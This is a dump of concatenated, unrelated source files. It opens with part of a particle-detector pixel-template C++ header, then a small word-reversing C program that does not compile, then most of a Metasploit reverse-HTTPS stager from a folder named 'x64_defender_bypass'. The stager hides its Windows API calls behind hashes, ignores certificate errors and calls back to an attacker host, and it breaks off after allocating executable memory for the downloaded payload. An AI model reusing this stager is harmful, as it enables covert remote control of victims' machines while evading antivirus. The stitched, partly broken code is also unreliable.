float clsleny() {return clsleny_;} //!< y-size of smaller interpolated template in pixels
float clslenx() {return clslenx_;} //!< x-size of smaller interpolated template in pixels
float yratio() {return yratio_;} //!< fractional distance in y between cotbeta templates
float yxratio() {return yxratio_;} //!< fractional distance in y between cotalpha templates slices
float xxratio() {return xxratio_;} //!< fractional distance in x between cotalpha templates
float yavg(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::yavg called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return yavg_[i];} //!< average y-bias of reconstruction binned in 4 charge bins
float yrms(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::yrms called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return yrms_[i];} //!< average y-rms of reconstruction binned in 4 charge bins
float ygx0(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::ygx0 called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return ygx0_[i];} //!< average y0 from Gaussian fit binned in 4 charge bins
float ygsig(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::ygsig called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return ygsig_[i];} //!< average sigma_y from Gaussian fit binned in 4 charge bins
float xavg(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::xavg called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return xavg_[i];} //!< average x-bias of reconstruction binned in 4 charge bins
float xrms(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::xrms called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return xrms_[i];} //!< average x-rms of reconstruction binned in 4 charge bins
float xgx0(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::xgx0 called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return xgx0_[i];} //!< average x0 from Gaussian fit binned in 4 charge bins
float xgsig(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::xgsig called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return xgsig_[i];} //!< average sigma_x from Gaussian fit binned in 4 charge bins
float chi2yavg(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::chi2yavg called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return chi2yavg_[i];} //!< average y chi^2 in 4 charge bins
float chi2ymin(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::chi2ymin called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return chi2ymin_[i];} //!< minimum y chi^2 in 4 charge bins
float chi2xavg(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::chi2xavg called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return chi2xavg_[i];} //!< averaage x chi^2 in 4 charge bins
float chi2xmin(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::chi2xmin called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return chi2xmin_[i];} //!< minimum y chi^2 in 4 charge bins
float yavgc2m(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::yavgc2m called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return yavgc2m_[i];} //!< 1st pass chi2 min search: average y-bias of reconstruction binned in 4 charge bins
float yrmsc2m(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::yrmsc2m called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return yrmsc2m_[i];} //!< 1st pass chi2 min search: average y-rms of reconstruction binned in 4 charge bins
float chi2yavgc2m(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::chi2yavgc2m called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return chi2yavgc2m_[i];} //!< 1st pass chi2 min search: average y-chisq for merged clusters
float chi2yminc2m(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::chi2yminc2m called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return chi2yminc2m_[i];} //!< 1st pass chi2 min search: minimum y-chisq for merged clusters
float xavgc2m(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::xavgc2m called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return xavgc2m_[i];} //!< 1st pass chi2 min search: average x-bias of reconstruction binned in 4 charge bins
float xrmsc2m(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::xrmsc2m called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return xrmsc2m_[i];} //!< 1st pass chi2 min search: average x-rms of reconstruction binned in 4 charge bins
float chi2xavgc2m(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::chi2xavgc2m called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return chi2xavgc2m_[i];} //!< 1st pass chi2 min search: average x-chisq for merged clusters
float chi2xminc2m(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 3) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::chi2xminc2m called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<4);
#endif
return chi2xminc2m_[i];} //!< 1st pass chi2 min search: minimum x-chisq for merged clusters
float fbin(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 2) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::fbin called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<3);
#endif
return fbin_[i];} //!< Return lower bound of Qbin definition
float chi2yavgone() {return chi2yavgone_;} //!< //!< average y chi^2 for 1 pixel clusters
float chi2yminone() {return chi2yminone_;} //!< //!< minimum of y chi^2 for 1 pixel clusters
float chi2xavgone() {return chi2xavgone_;} //!< //!< average x chi^2 for 1 pixel clusters
float chi2xminone() {return chi2xminone_;} //!< //!< minimum of x chi^2 for 1 pixel clusters
float lorywidth() {return lorywidth_;} //!< signed lorentz y-width (microns)
float lorxwidth() {return lorxwidth_;} //!< signed lorentz x-width (microns)
//float lorybias() {return lorywidth_;} //!< signed lorentz y-width (microns)
//float lorxbias() {return lorxwidth_;} //!< signed lorentz x-width (microns)
float lorybias() {return lorybias_;} //!< signed lorentz y-width (microns)
float lorxbias() {return lorxbias_;} //!< signed lorentz x-width (microns)
float mpvvav() {return mpvvav_;} //!< most probable charge in Vavilov distribution (not actually for larger kappa)
float sigmavav() {return sigmavav_;} //!< "sigma" scale fctor for Vavilov distribution
float kappavav() {return kappavav_;} //!< kappa parameter for Vavilov distribution
float mpvvav2() {return mpvvav2_;} //!< most probable charge in 2-cluster Vavilov distribution (not actually for larger kappa)
float sigmavav2() {return sigmavav2_;} //!< "sigma" scale fctor for 2-cluster Vavilov distribution
float kappavav2() {return kappavav2_;} //!< kappa parameter for 2-cluster Vavilov distribution
float xsize() {return xsize_;} //!< pixel x-size (microns)
float ysize() {return ysize_;} //!< pixel y-size (microns)
float zsize() {return zsize_;} //!< pixel z-size or thickness (microns)
float r_qMeas_qTrue() {return r_qMeas_qTrue_;} //!< ratio of measured to true cluster charge
float fracyone() {return fracyone_;} //!< The simulated fraction of single pixel y-clusters
float fracxone() {return fracxone_;} //!< The simulated fraction of single pixel x-clusters
float fracytwo() {return fracytwo_;} //!< The simulated fraction of single double-size pixel y-clusters
float fracxtwo() {return fracxtwo_;} //!< The simulated fraction of single double-size pixel x-clusters
// float yspare(int i) {assert(i>=0 && i<5); return pyspare[i];} //!< vector of 5 spares interpolated in beta only
// float xspare(int i) {assert(i>=0 && i<10); return pxspare[i];} //!< vector of 10 spares interpolated in alpha and beta
private:
// Keep current template interpolaion parameters
int id_current_; //!< current id
int index_id_; //!< current index
float cota_current_; //!< current cot alpha
float cotb_current_; //!< current cot beta
float abs_cotb_; //!< absolute value of cot beta
bool success_; //!< true if cotalpha, cotbeta are inside of the acceptance (dynamically loaded)
// Keep results of last interpolation to return through member functions
float qavg_; //!< average cluster charge for this set of track angles
float pixmax_; //!< maximum pixel charge
float qscale_; //!< charge scaling factor
float s50_; //!< 1/2 of the pixel single col threshold signal in electrons
float ss50_; //!< 1/2 of the pixel double col threshold signal in electrons
float symax_; //!< average pixel signal for y-projection of cluster
float syparmax_; //!< maximum pixel signal for parameterization of y uncertainties
float dyone_; //!< mean offset/correction for one pixel y-clusters
float syone_; //!< rms for one pixel y-clusters
float dytwo_; //!< mean offset/correction for one double-pixel y-clusters
float sytwo_; //!< rms for one double-pixel y-clusters
float sxmax_; //!< average pixel signal for x-projection of cluster
float sxparmax_; //!< maximum pixel signal for parameterization of x uncertainties
float dxone_; //!< mean offset/correction for one pixel x-clusters
float sxone_; //!< rms for one pixel x-clusters
float dxtwo_; //!< mean offset/correction for one double-pixel x-clusters
float sxtwo_; //!< rms for one double-pixel x-clusters
float qmin_; //!< minimum cluster charge for valid hit (keeps 99.9% of simulated hits)
float clsleny_; //!< y-cluster length of smaller interpolated template in pixels
float clslenx_; //!< x-cluster length of smaller interpolated template in pixels
float yratio_; //!< fractional distance in y between cotbeta templates
float yparl_[2][5]; //!< projected y-pixel uncertainty parameterization for smaller cotbeta
float yparh_[2][5]; //!< projected y-pixel uncertainty parameterization for larger cotbeta
float xparly0_[2][5]; //!< projected x-pixel uncertainty parameterization for smaller cotbeta (central alpha)
float xparhy0_[2][5]; //!< projected x-pixel uncertainty parameterization for larger cotbeta (central alpha)
float ytemp_[9][BYSIZE]; //!< templates for y-reconstruction (binned over 5 central pixels)
float yxratio_; //!< fractional distance in y between x-slices of cotalpha templates
float xxratio_; //!< fractional distance in x between cotalpha templates
float xpar0_[2][5]; //!< projected x-pixel uncertainty parameterization for central cotalpha
float xparl_[2][5]; //!< projected x-pixel uncertainty parameterization for smaller cotalpha
float xparh_[2][5]; //!< projected x-pixel uncertainty parameterization for larger cotalpha
float xtemp_[9][BXSIZE]; //!< templates for x-reconstruction (binned over 5 central pixels)
float yavg_[4]; //!< average y-bias of reconstruction binned in 4 charge bins
float yrms_[4]; //!< average y-rms of reconstruction binned in 4 charge bins
float ygx0_[4]; //!< average y0 from Gaussian fit binned in 4 charge bins
float ygsig_[4]; //!< average sigma_y from Gaussian fit binned in 4 charge bins
float yflparl_[4][6]; //!< Aqfl-parameterized y-correction in 4 charge bins for smaller cotbeta
float yflparh_[4][6]; //!< Aqfl-parameterized y-correction in 4 charge bins for larger cotbeta
float xavg_[4]; //!< average x-bias of reconstruction binned in 4 charge bins
float xrms_[4]; //!< average x-rms of reconstruction binned in 4 charge bins
float xgx0_[4]; //!< average x0 from Gaussian fit binned in 4 charge bins
float xgsig_[4]; //!< sigma from Gaussian fit binned in 4 charge bins
float xflparll_[4][6]; //!< Aqfl-parameterized x-correction in 4 charge bins for smaller cotbeta, cotalpha
float xflparlh_[4][6]; //!< Aqfl-parameterized x-correction in 4 charge bins for smaller cotbeta, larger cotalpha
float xflparhl_[4][6]; //!< Aqfl-parameterized x-correction in 4 charge bins for larger cotbeta, smaller cotalpha
float xflparhh_[4][6]; //!< Aqfl-parameterized x-correction in 4 charge bins for larger cotbeta, cotalpha
float chi2yavg_[4]; //!< average y chi^2 in 4 charge bins
float chi2ymin_[4]; //!< minimum of y chi^2 in 4 charge bins
float chi2xavg_[4]; //!< average x chi^2 in 4 charge bins
float chi2xmin_[4]; //!< minimum of x chi^2 in 4 charge bins
float yavgc2m_[4]; //!< 1st pass chi2 min search: average y-bias of reconstruction binned in 4 charge bins
float yrmsc2m_[4]; //!< 1st pass chi2 min search: average y-rms of reconstruction binned in 4 charge bins
float chi2yavgc2m_[4]; //!< 1st pass chi2 min search: average y-chisq for merged clusters
float chi2yminc2m_[4]; //!< 1st pass chi2 min search: minimum y-chisq for merged clusters
float xavgc2m_[4]; //!< 1st pass chi2 min search: average x-bias of reconstruction binned in 4 charge bins
float xrmsc2m_[4]; //!< 1st pass chi2 min search: average x-rms of reconstruction binned in 4 charge bins
float chi2xavgc2m_[4]; //!< 1st pass chi2 min search: average x-chisq for merged clusters
float chi2xminc2m_[4]; //!< 1st pass chi2 min search: minimum x-chisq for merged clusters
float chi2yavgone_; //!< average y chi^2 for 1 pixel clusters
float chi2yminone_; //!< minimum of y chi^2 for 1 pixel clusters
float chi2xavgone_; //!< average x chi^2 for 1 pixel clusters
float chi2xminone_; //!< minimum of x chi^2 for 1 pixel clusters
float qmin2_; //!< tighter minimum cluster charge for valid hit (keeps 99.8% of simulated hits)
float mpvvav_; //!< most probable charge in Vavilov distribution (not actually for larger kappa)
float sigmavav_; //!< "sigma" scale fctor for Vavilov distribution
float kappavav_; //!< kappa parameter for Vavilov distribution
float mpvvav2_; //!< most probable charge in 2-cluster Vavilov distribution (not actually for larger kappa)
float sigmavav2_; //!< "sigma" scale fctor for 2-cluster Vavilov distribution
float kappavav2_; //!< kappa parameter for 2-cluster Vavilov distribution
float lorywidth_; //!< Lorentz y-width (sign corrected for fpix frame)
float lorxwidth_; //!< Lorentz x-width
float lorybias_; //!< Lorentz y-bias
float lorxbias_; //!< Lorentz x-bias
float xsize_; //!< Pixel x-size
float ysize_; //!< Pixel y-size
float zsize_; //!< Pixel z-size (thickness)
float qavg_avg_; //!< average of cluster charge less than qavg
float nybins_; //!< number of bins in each dimension of the y-splitting template
float nxbins_; //!< number of bins in each dimension of the x-splitting template
float r_qMeas_qTrue_; //!< ratio of measured to true cluster charges
float fbin_[3]; //!< The QBin definitions in Q_clus/Q_avg
float fracyone_; //!< The simulated fraction of single pixel y-clusters
float fracxone_; //!< The simulated fraction of single pixel x-clusters
float fracytwo_; //!< The simulated fraction of single double-size pixel y-clusters
float fracxtwo_; //!< The simulated fraction of single double-size pixel x-clusters
boost::multi_array<float,2> temp2dy_; //!< 2d-primitive for spltting 3-d template
boost::multi_array<float,2> temp2dx_; //!< 2d-primitive for spltting 3-d template
// The actual template store is a std::vector container
const std::vector< SiPixelTemplateStore > & thePixelTemp_;
} ;
#endif
| 64.308511 | 250 | 0.665603 |
bd1730fa0c153fa99728f14d9db2775c4a8c39aa | 968 | c | C | _tasks/invert-words.c | vashu1/data_snippets | b0ae5230d60c2054c7b9278093533b7f71f3758b | [
"MIT"
] | 1 | 2021-02-10T20:33:43.000Z | 2021-02-10T20:33:43.000Z | _tasks/invert-words.c | vashu1/data_snippets | b0ae5230d60c2054c7b9278093533b7f71f3758b | [
"MIT"
] | null | null | null | _tasks/invert-words.c | vashu1/data_snippets | b0ae5230d60c2054c7b9278093533b7f71f3758b | [
"MIT"
] | null | null | null | #include <stdio.h>
#include <string.h>
inline void invert_interval(char *s, size_t start, size_t end) { // s[end] is not processed, only s[end-1]
for (char *first = &s[start], *second = &s[end - 1], temp; first < second ; first++, second--) {
temp = *first;
*first = *second;
*second = temp;
}
}
void invert_words(char *s) { // "ab cd" -> invert all string "dc ba" -> invert words "cd ba"
size_t word_end;
for (size_t word_start = 0, word_end = 0; s[word_end] != '\0' ; word_end++)
if (s[word_end] == ' ' || word_end == str_len) {
invert_interval(s, word_start, word_end);
word_start = word_end + 1;
}
invert_interval(s, 0, word_end);
}
void test(char *str) {
char test[100];
strcpy(test, str);
invert_words(test);
printf("'%s': '%s'\n", str, test);
}
int main() {
test("");
test("ab");
test("ab cd");
test("ab cd ef");
test(" abc def ");
return 0;
}
| 26.162162 | 106 | 0.553719 |
bd176a6443a969bb7df3f6c2278762fea9008bfe | 10,972 | c | C | c/x64_defender_bypass/ReverseHTTPS.c | kkkelvinkk/metasploit-payloads | cd5773e34314e8a704116f93f95418fd46d1278d | [
"PSF-2.0"
] | 9 | 2019-03-16T21:23:40.000Z | 2021-10-03T04:04:28.000Z | c/x64_defender_bypass/ReverseHTTPS.c | xy-sec/metasploit-payloads | 3d98c643fcb0da18507e6ae9f8a7838cc03342a2 | [
"PSF-2.0"
] | null | null | null | c/x64_defender_bypass/ReverseHTTPS.c | xy-sec/metasploit-payloads | 3d98c643fcb0da18507e6ae9f8a7838cc03342a2 | [
"PSF-2.0"
] | 5 | 2018-11-06T14:44:22.000Z | 2021-11-19T02:44:59.000Z | #define WIN32_LEAN_AND_MEAN
#pragma warning( disable : 4201 )
#include "settings.h"
#include "GetProcAddressWithHash.h"
#include "64BitHelper.h"
#include <windows.h>
#include <intrin.h>
#include <wininet.h>
typedef HMODULE(WINAPI *FuncLoadLibraryA) (
_In_z_ LPTSTR lpFileName
);
typedef LPVOID(WINAPI *FuncVirtualAlloc) (
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef HANDLE(WINAPI *FuncCreateThread) (
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);
typedef BOOL(WINAPI *FuncCloseHandle) (
_In_ HANDLE hObject
);
typedef HINTERNET(WINAPI *FuncInternetOpenA) (
_In_ LPCTSTR lpszAgent,
_In_ DWORD dwAccessType,
_In_ LPCTSTR lpszProxyName,
_In_ LPCTSTR lpszProxyBypass,
_In_ DWORD dwFlags
);
typedef HINTERNET(WINAPI *FuncInternetConnectW) (
_In_ HINTERNET hInternet,
_In_ LPCTSTR lpszServerName,
_In_ INTERNET_PORT nServerPort,
_In_ LPCTSTR lpszUsername,
_In_ LPCTSTR lpszPassword,
_In_ DWORD dwService,
_In_ DWORD dwFlags,
_In_ DWORD_PTR dwContext
);
typedef HINTERNET(WINAPI *FuncHttpOpenRequestW) (
_In_ HINTERNET hConnect,
_In_ LPCTSTR lpszVerb,
_In_ LPCTSTR lpszObjectName,
_In_ LPCTSTR lpszVersion,
_In_ LPCTSTR lpszReferer,
_In_ LPCTSTR *lplpszAcceptTypes,
_In_ DWORD dwFlags,
_In_ DWORD_PTR dwContext
);
typedef BOOL(WINAPI *FuncInternetSetOptionA) (
_In_ HINTERNET hInternet,
_In_ DWORD dwOption,
_In_ LPVOID lpBuffer,
_In_ DWORD dwBufferLength
);
typedef BOOL(WINAPI *FuncHttpSendRequestA) (
_In_ HINTERNET hRequest,
_In_ LPCTSTR lpszHeaders,
_In_ DWORD dwHeadersLength,
_In_ LPVOID lpOptional,
_In_ DWORD dwOptionalLength
);
typedef BOOL(WINAPI *FuncInternetCloseHandle) (
_In_ HINTERNET hInternet
);
typedef BOOL(WINAPI *FuncHttpQueryInfoA) (
_In_ HINTERNET hRequest,
_In_ DWORD dwInfoLevel,
_Inout_ LPVOID lpvBuffer,
_Inout_ LPDWORD lpdwBufferLength,
_Inout_ LPDWORD lpdwIndex
);
typedef BOOL(WINAPI *FuncInternetReadFile) (
_In_ HINTERNET hFile,
_Out_ LPVOID lpBuffer,
_In_ DWORD dwNumberOfBytesToRead,
_Out_ LPDWORD lpdwNumberOfBytesRead
);
typedef int(WINAPI *FuncWideCharToMultiByte) (
_In_ UINT CodePage,
_In_ DWORD dwFlags,
_In_ LPCWSTR lpWideCharStr,
_In_ int cchWideChar,
_Out_opt_ LPSTR lpMultiByteStr,
_In_ int cbMultiByte,
_In_opt_ LPCSTR lpDefaultChar,
_Out_opt_ LPBOOL lpUsedDefaultChar
);
typedef int(WINAPI *FuncMultiByteToWideChar) (
_In_ UINT CodePage,
_In_ DWORD dwFlags,
_In_ LPCSTR lpMultiByteStr,
_In_ int cbMultiByte,
_Out_opt_ LPWSTR lpWideCharStr,
_In_ int cchWideChar
);
typedef VOID(WINAPI *FuncSleep) (
_In_ DWORD dwMilliseconds
);
int atoi_(char *str)
{
int res = 0;
int i;
for (i = 0; str[i] != '\0'; ++i)
res = res * 10 + str[i] - '0';
return res;
}
size_t strlen_(char *str) {
size_t len = 0;
while (*str != '\0') {
str++;
len++;
}
return len;
}
int TextChecksum8(char* text)
{
UINT temp = 0;
UINT i = 0;
for (i = 0; i < strlen_(text); i++)
{
temp += (int)text[i];
}
return temp % 0x100;
}
void gen_random(char *s, const int len, unsigned int r) {
char alphanum[] =
{ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 0 };
int i;
for (i = 0; i < len; ++i) {
s[i] = alphanum[r % (sizeof(alphanum) - 1)];
}
s[len] = 0;
}
char *strcpy_(char *dest, char *src) {
char *orig = dest;
while ((*dest++ = *src++) != '\0')
; // <<== Very important!!!
return orig;
}
char* strcat_(char* dest_ptr, const char * src_ptr)
{
char* strret = dest_ptr;
if ((NULL != dest_ptr) && (NULL != src_ptr))
{
while (NULL != *dest_ptr)
{
dest_ptr++;
}
while (NULL != *src_ptr)
{
*dest_ptr++ = *src_ptr++;
}
*dest_ptr = NULL;
}
return strret;
}
wchar_t* mbstowcs_(char* p)
{
FuncVirtualAlloc MyVirtualAlloc;
wchar_t *r;
char *tempsour;
wchar_t *tempdest;
MyVirtualAlloc = (FuncVirtualAlloc)GetProcAddressWithHash(0xE553A458);
r = MyVirtualAlloc(0, strlen_(p) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
tempsour = p;
tempdest = r;
while (*tempdest++ = *tempsour++);
return r;
}
void myMemCpy(void *dest, void *src, size_t n)
{
// Typecast src and dest addresses to (char *)
char *csrc = (char *)src;
char *cdest = (char *)dest;
int i;
// Copy contents of src[] to dest[]
for (i = 0; i<n; i++)
cdest[i] = csrc[i];
}
VOID TestThread()
{
FuncLoadLibraryA MyLoadLibraryA;
FuncInternetOpenA MyInternetOpenA;
FuncInternetConnectW MyInternetConnectW;
FuncHttpOpenRequestW MyHttpOpenRequestW;
FuncInternetSetOptionA MyInternetSetOptionA;
FuncHttpSendRequestA MyHttpSendRequestA;
FuncInternetCloseHandle MyInternetCloseHandle;
FuncHttpQueryInfoA MyHttpQueryInfoA;
FuncInternetReadFile MyInternetReadFile;
FuncVirtualAlloc MyVirtualAlloc;
FuncSleep MySleep;
int URI_CHECKSUM_INITW = 92;
int checksum = 0;
char URI[5] = { 0 };
char* booof = NULL;
wchar_t *wFullURL;
DWORD flags = 0;
char ansiPort[16] = { 0 };
HINTERNET hInternetOpen;
HINTERNET hInternetConnect;
HINTERNET hInternetRequest;
DWORD dwSecFlags = 0;
int statusCode;
char responseText[256];
DWORD responseTextSize;
BOOL bKeepReading = TRUE;
DWORD dwBytesRead = -1;
DWORD dwBytesWritten = 0;
char module[] = { 'w', 'i', 'n', 'i', 'n', 'e', 't', 0 };
char bar[] = { '/', 0 };
char stringEnd[] = { '\0', 0 };
char userAgent[] = REVERSE_HTTPS_USERAGENT;
wchar_t IP[] = REVERSE_HTTPS_HOST;
char iPort[] = REVERSE_HTTPS_PORT;
wchar_t get[] = { 'G', 'E', 'T', 0 };
wchar_t url[6] = { 0 };
//Static UUID x86
//#ifdef _WIN32
// char FullURL[] = { '/', 'I', 'N', 'L', 'p', 'v', 'W', 'C', 'n', 'r', 'd', '0', 'E', 'S', 'w', 'V', 'K', 'X', 'c', 'O', '3', 'v', 'w', 'S', 's', 'J', 'J', '6', '3', 'I', 'i', 'B', 'G', '7', '1', 'x', 's', '1', 'P', 'A', 'j', 'Z', 'Z', 'P', 'l', 'G', 'T', '-', 'U', '0', 'G', 'V', 'K', 'l', 'q', 'A', 'P', 'n', '8', '2', '6', '9', 'a', 'L', 'E', '5', 'b', 'u', 'I', 'D', 'X', 'F', 'G', '2', 'F', 'K', 'w', 'u', '8', '5', 'y', 'N', 'E', 'l', 'g', 'q', 'm', 'i', '9', 'T', '3', 'S', 'L', '7', 'W', 's', 'M', 'K', '9', 'y', 'T', 'z', 'g', 'n', 'Q', '6', 'Y', 'I', 'j', 'B', 0 };
//
//#endif
//Static UUID x64
#ifdef _WIN64
char FullURL1[] = { 'Y', 'e', 'n', 'Z', 'U', 'H', 'L', 'm', '3', 'b', 'i', 'D', 'C', 'Y', 'I', 'L', '2', 'o', 'V', 'k', 'd', 'g', 'n', 'P', '7', 'X', 'i', 'r', 'q', 't', 'q', 'T', 'y', 'S', '7', '8', 'a', 0 };
char FullURL2[] = { 'M', 'h', '5', 'b', 'h', 'W', '3', '5', '9', 'g', 'o', 'B', 't', 'L', 'd', 'm', 'w', 'g', 'h', 'e', 'A', 'Q', 'E', '9', 'b', 'v', 'c', 'O', 'Z', 'B', '1', 'o', 'z', 'N', 'k', '6', '3',0 };
#endif
unsigned long int next = 1;
unsigned char * concatenation;
MyLoadLibraryA = (FuncLoadLibraryA)GetProcAddressWithHash(0x0726774C);
MyLoadLibraryA((LPTSTR)module);
MyInternetOpenA = (FuncInternetOpenA)GetProcAddressWithHash(0xA779563A);
MyInternetConnectW = (FuncInternetConnectW)GetProcAddressWithHash(0xC74F8957);
MyHttpOpenRequestW = (FuncHttpOpenRequestW)GetProcAddressWithHash(0x3BDE55EB);
MyInternetSetOptionA = (FuncInternetSetOptionA)GetProcAddressWithHash(0x869E4675);
MyInternetCloseHandle = (FuncInternetCloseHandle)GetProcAddressWithHash(0xD46E6BD3);
MyHttpQueryInfoA = (FuncHttpQueryInfoA)GetProcAddressWithHash(0xB6067072);
MyInternetReadFile = (FuncInternetReadFile)GetProcAddressWithHash(0xE2899612);
MyVirtualAlloc = (FuncVirtualAlloc)GetProcAddressWithHash(0xE553A458);
MyHttpSendRequestA = (FuncHttpSendRequestA)GetProcAddressWithHash(0x7B18062D);
MySleep = (FuncSleep)GetProcAddressWithHash(0xE035F044);
#ifdef _WIN64
concatenation = (unsigned char*)MyVirtualAlloc(0, sizeof(FullURL1) + sizeof(FullURL2), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
myMemCpy(concatenation, FullURL1, sizeof FullURL1);
myMemCpy(concatenation + sizeof FullURL1 - 1, FullURL2, sizeof FullURL1);
wFullURL = mbstowcs_(concatenation);
#endif
//#ifdef _WIN32
// wFullURL = mbstowcs_(FullURL);
//#endif
flags = (INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI | INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |SECURITY_FLAG_IGNORE_UNKNOWN_CA | INTERNET_FLAG_PRAGMA_NOCACHE);
hInternetOpen = MyInternetOpenA((LPCTSTR)userAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);
hInternetConnect = MyInternetConnectW(hInternetOpen, IP, atoi_(iPort), NULL, NULL, INTERNET_SERVICE_HTTP, NULL, NULL);
hInternetRequest = MyHttpOpenRequestW(hInternetConnect, get, (LPCTSTR)wFullURL, NULL, NULL, NULL, flags, NULL);
dwSecFlags = SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_WRONG_USAGE | SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_REVOCATION;
MyInternetSetOptionA(hInternetRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecFlags, sizeof(dwSecFlags));
connect:
if (!MyHttpSendRequestA(hInternetRequest, NULL, NULL, NULL, NULL))
{
MySleep(1000);
goto connect;
};
responseTextSize = sizeof(responseText);
MyHttpQueryInfoA(hInternetRequest, HTTP_QUERY_STATUS_CODE, &responseText, &responseTextSize, NULL);
statusCode = atoi_(responseText);
if (statusCode != HTTP_STATUS_OK) {
MySleep(1000);
goto connect;
}
booof = (char*)MyVirtualAlloc(0, (4 * 1024 * 1024), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
